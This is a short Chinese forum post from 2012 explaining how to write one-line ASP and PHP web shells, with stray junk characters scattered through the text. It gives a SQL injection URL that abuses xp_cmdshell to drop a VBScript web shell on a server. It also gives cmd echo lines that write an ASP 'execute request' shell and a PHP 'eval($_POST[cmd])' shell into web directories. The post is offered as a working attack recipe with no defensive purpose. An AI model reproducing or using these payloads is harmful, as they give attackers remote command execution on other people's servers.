用^转义字符来写ASP(一句话木马)文件的方法:8 O! _% T3 x/ s* ^/ S9 o
; @! n3 x- j: N6 _% @3 G( _% `; G3 r. P- H
1.注入点后执行 http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--: U/ e2 z* c3 o( V& N; v$ i
! W( N1 I9 d& u9 y7 j) d4 l Q* R2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >D:\doc\week6\images\2.asp
8 R- W9 x* C5 M. m+ t, T w/ z1 B/ h3 G- q0 o
! h! _! p& i! a- y" H: k( B" Y
PHP0 O# ~! ]$ M3 r( `: I& W
echo ^<^?php eval^($_POST[cmd])?^>>D:\hosting\wwwroot\zlhua_cn\htdocs\1.php |
发表于 2012-9-15 14:52:31
收藏
支持
反对